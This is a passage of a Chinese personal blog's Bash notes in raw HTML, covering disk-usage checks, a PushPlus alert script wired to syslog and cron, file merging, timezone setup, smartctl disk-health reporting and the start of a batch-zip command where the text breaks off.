href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A9%BA%E9%97%B4%E6%9F%A5%E7%9C%8B\" class=\"headerlink\" title=\"空间查看\"\u003e\u003c/a\u003e空间查看\u003c/h3\u003e\u003cp\u003e最近经常在用这个指令查看空间使用情况:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如看下缓存占用情况啥的:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e❯ sudo \u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0 ./motd-news\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1.4M ./apparmor\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2.0M ./man\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20K ./snapd\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e228K ./fontconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3.8M ./debconf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32K ./ldconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./pollinate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./private\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./PackageKit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./apache2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./app-info\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e971M ./apt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"用PushPlus集成事件通知服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%94%A8PushPlus%E9%9B%86%E6%88%90%E4%BA%8B%E4%BB%B6%E9%80%9A%E7%9F%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"用PushPlus集成事件通知服务\"\u003e\u003c/a\u003e用PushPlus集成事件通知服务\u003c/h3\u003e\u003cp\u003e这个脚本读取第一,二个命令行参数,然后发送通知。可以跟其他工具串一块,简单实现服务器监控报警功能:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=PUSH_PLUS_TOKEN\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejson=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e单行脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -F /var/log/syslog | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e | \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e bash /path/to/pushplus.sh \u003cspan class=\"string\"\u003e\u0026#34;服务器异常日志\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193751.png\" alt=\"添加一个“错误”消息\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193904.png\" alt=\"发送成功\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193940.png\"/\u003e\u003c/p\u003e\u003cp\u003e测试就完成了。然后直接nohup丢到后台,就能很方便地实现异常告警了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e集成到crontab\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用了一段时间之后,发现是挺舒服,配合crontab定时触发更是自动运维的好东西。\u003c/p\u003e\u003cp\u003e假设有一个运维工具将信息直接输出到stdout,那么我们可以在crontab里这么写:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eoutput=$(/path/to/script.sh); pushplus \u003cspan class=\"string\"\u003e\u0026#34;自动任务完成\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$output\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过得先将上面的\u003ccode\u003epushplus.sh\u003c/code\u003e去掉后缀放在\u003ccode\u003e/usr/local/bin/\u003c/code\u003e之类的地方才能全局使用。\u003c/p\u003e\u003ch3 id=\"文本文件合并\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6\" class=\"headerlink\" title=\"文本文件合并\"\u003e\u003c/a\u003e文本文件合并\u003c/h3\u003e\u003cp\u003eThis is technically what \u003ccode\u003ecat\u003c/code\u003e (“concatenate”) is supposed to do, even though most people just use it for outputting files to stdout. If you give it multiple filenames it will output them all sequentially, and then you can redirect that into a new file; in the case of all files just use \u003ccode\u003e./*\u003c/code\u003e (or \u003ccode\u003e/path/to/directory/*\u003c/code\u003e if you’re not in the directory already) and your shell will expand it to all the filenames (excluding hidden ones by default).\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ cat ./* \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eMake sure you don’t use the \u003ccode\u003ecsh\u003c/code\u003e or \u003ccode\u003etcsh\u003c/code\u003e shells for that which expand the glob \u003cem\u003eafter\u003c/em\u003e opening the \u003ccode\u003emerged-file\u003c/code\u003e for output, and that \u003ccode\u003emerged-file\u003c/code\u003e doesn’t exist before hand, or you’ll likely end up with an infinite loop that fills up the filesystem.\u003c/p\u003e\u003cp\u003eThe list of files is sorted lexically. If using \u003ccode\u003ezsh\u003c/code\u003e, you can change the order (to numeric, or by age, size…) with glob qualifiers.\u003c/p\u003e\u003cp\u003eTo include files in sub-directories, use:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . ! -path ./merged-file -type f -exec cat {} + \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eThough beware the list of files is not sorted and hidden files are included. \u003ccode\u003e-type f\u003c/code\u003e here restricts to \u003cem\u003eregular\u003c/em\u003e files only as it’s unlikely you’ll want to include other types of files. With GNU \u003ccode\u003efind\u003c/code\u003e, you can change it to \u003ccode\u003e-xtype f\u003c/code\u003e to also include symlinks to regular files.\u003c/p\u003e\u003cp\u003eWith the zsh shell,\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecat ./**/*(-.) \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWould do the same (\u003ccode\u003e(-.)\u003c/code\u003e achieving the equivalent of \u003ccode\u003e-xtype f\u003c/code\u003e) but give you a sorted list and exclude hidden files (add the \u003ccode\u003eD\u003c/code\u003e qualifier to bring them back). \u003ccode\u003ezargs\u003c/code\u003e can be used there to work around \u003cem\u003eargument list too long\u003c/em\u003e errors.\u003c/p\u003e\u003ch3 id=\"更改时区\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%9B%B4%E6%94%B9%E6%97%B6%E5%8C%BA\" class=\"headerlink\" title=\"更改时区\"\u003e\u003c/a\u003e更改时区\u003c/h3\u003e\u003cp\u003e今天看系统日志的时候发现时间不太对,估计应该是没设置对时区。所以就记录一下。只需要一行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo timedatectl set-timezone Asia/Shanghai\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 如果要查看所有可用时区的话\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimedatectl list-timezones\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 查看当前时区信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimedatectl\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者也可以用创建符号链接的方式更改:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf /etc/localtime \u0026amp;\u0026amp; \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"监控硬盘状态信息\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%9B%91%E6%8E%A7%E7%A1%AC%E7%9B%98%E7%8A%B6%E6%80%81%E4%BF%A1%E6%81%AF\" class=\"headerlink\" title=\"监控硬盘状态信息\"\u003e\u003c/a\u003e监控硬盘状态信息\u003c/h3\u003e\u003cp\u003e借助\u003ccode\u003esmartctl\u003c/code\u003e就能做到。这工具输出十分丰富,还能跑硬盘测试,这里演示下最简单的用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e DEVICE \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;sda sdb sdc\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e smartctl -a \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e grep \u003cspan class=\"string\"\u003e\u0026#39;SMART overall-health self-assessment test result\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e加强版,输出报告:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSMARTCTL=\u003cspan class=\"string\"\u003e\u0026#34;smartctl\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDEVICES=\u003cspan class=\"string\"\u003e\u0026#34;sdb sdc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eget_model\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DEVICE=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$SMARTCTL\u003c/span\u003e -i \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | grep \u003cspan class=\"string\"\u003e\u0026#34;Device Model\u0026#34;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $3}\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003echeck_disk\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DEVICE=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MODEL=$(get_model \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e STATUS=$(\u003cspan class=\"variable\"\u003e$SMARTCTL\u003c/span\u003e -a \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | grep \u003cspan class=\"string\"\u003e\u0026#39;SMART overall-health self-assessment test result\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e RESULT=$(\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $NF}\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$RESULT\u003c/span\u003e\u0026#34;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026#34;PASSED\u0026#34;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\\n硬盘异常:\u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$MODEL\u003c/span\u003e)\\n\u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 追加到变量中,用换行符分隔不同的硬盘信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\\n硬盘正常:\u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$MODEL\u003c/span\u003e)\\n\u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 追加到变量中,用换行符分隔不同的硬盘信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e DEV \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"variable\"\u003e$DEVICES\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e check_disk /dev/\u003cspan class=\"variable\"\u003e$DEV\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"批量压缩\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%89%B9%E9%87%8F%E5%8E%8B%E7%BC%A9\" class=\"headerlink\" title=\"批量压缩\"\u003e\u003c/a\u003e批量压缩\u003c/h3\u003e\u003cp\u003e基本就是个用\u003ccode\u003els\u003c/code\u003e和\u003ccode\u003eawk\u003c/code\u003e组装起来的工具,没啥技术含量。使用时会把目录下的所有东西压缩为以文件为名的压缩包:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003els\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;zip -r \\\u0026#34;\u0026#34; $0\u0026#34;.zip\\\u0026#34; 